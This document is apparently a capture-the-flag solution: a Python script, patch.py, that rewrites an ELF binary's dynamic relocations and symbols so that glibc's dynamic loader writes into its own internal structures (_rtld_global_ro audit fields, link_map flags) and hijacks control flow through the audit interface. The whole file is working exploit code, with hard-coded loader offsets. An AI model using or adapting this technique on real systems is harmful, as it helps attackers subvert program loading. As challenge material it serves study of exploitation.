/..

#CONTENT

#TOP

patch.py
PYTHON
from elf import *
from sys import argv

test = open("solve.elf", "rb").read()

elf = parse(test)

for segment in elf.segments:
    if segment.p_type == constants.PT_DYNAMIC:
        dynamic = segment
        break

flags = elf.dyntag(constants.DT_FLAGS_1)
flags.d_val = 0 # constants.DF_1_NOW

relocs = elf.relocs(elf.section(".rela.dyn"))
dynsym = elf.symtab(elf.section(".dynsym"))
dynstr = elf.strtab(elf.section(".dynstr"))
symtab = elf.symtab(elf.section(".symtab"))
strtab = elf.strtab(elf.section(".strtab"))
main = next(filter(lambda sym: strtab.name(sym.st_name) == b"main", symtab))

for reloc in relocs:
    reloc.r_type == constants.R_X86_64_NONE

new = b"\x00"

for sym in dynsym:
    name = dynstr.name(sym.st_name)
    if name.startswith(b"whatever"):
        sym.st_bind = 2
        dynstr.raw[sym.st_name : sym.st_name + len(new)] = new

for sym in symtab:
    name = strtab.name(sym.st_name)
    if name.startswith(b"whatever"):
        sym.st_bind = 2
        strtab.raw[sym.st_name : sym.st_name + len(new)] = new

# offset to /proc/self/exe linker map: 0x141e0
# offset of l_audit_any_plt to link_map: 0x334
# offset to bindflags: 0x14670
# offset to _rtld_local_ro: 0x4cac0
# offset of symbind to audit_ifaces: 0x20
# offset of _dl_audit to rtld_global ro: 0x378
# offset of _dl_naudit to rtld_global_ro: 0x380
# offset to random writeable section: 0xd000
if len(argv) >= 2:
    offset = int(argv[1], 0)
    print(f"[+] received offset = {offset:#x}")
else:
    offset = 0

scratch = 0xd000 + offset
bindflags = 8
symbind64 = 0x20
pltenter = 0x40
link_map = (0x144a0 + offset) % (1 << 64)
l_audit_any_plt = 0x334
_rtld_global_ro = 0x47aa0
_dl_audit = 0x370
_dl_naudit = 0x378
other_link_map = 0x492f0
sizeof_link_map = 0x4a0

idx = 0
def inc():
    global idx
    ret = idx
    idx += 1
    return ret

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_64
rel.r_offset = _rtld_global_ro + _dl_audit
rel.r_addend = scratch
rel.r_sym = 0

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_64
rel.r_offset = scratch + symbind64
rel.r_addend = main.st_value
sym = dynsym[rel.r_sym]
sym.st_value = 0
rel.r_sym = 0

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_RELATIVE
rel.r_offset = link_map + sizeof_link_map + bindflags
rel.r_addend = 3
rel.r_sym = 0

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_RELATIVE
rel.r_offset = other_link_map + sizeof_link_map + bindflags
rel.r_addend = 3
rel.r_sym = 0

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_64
rel.r_offset = _rtld_global_ro + _dl_naudit
rel.r_addend = 1
sym = dynsym[rel.r_sym]
sym.st_name = 0

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_32
rel.r_offset = link_map + l_audit_any_plt
rel.r_addend = 1 << 17
sym = dynsym[rel.r_sym]
sym.st_name = 0

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_JUMP_SLOT
rel.r_offset = scratch
rel.r_sym = 0

rel = relocs[inc()]
rel.r_type = constants.R_X86_64_32
rel.r_offset = 0x13371337
rel.r_addend = 1337
rel.r_sym = 0

elf.write("solve.elf")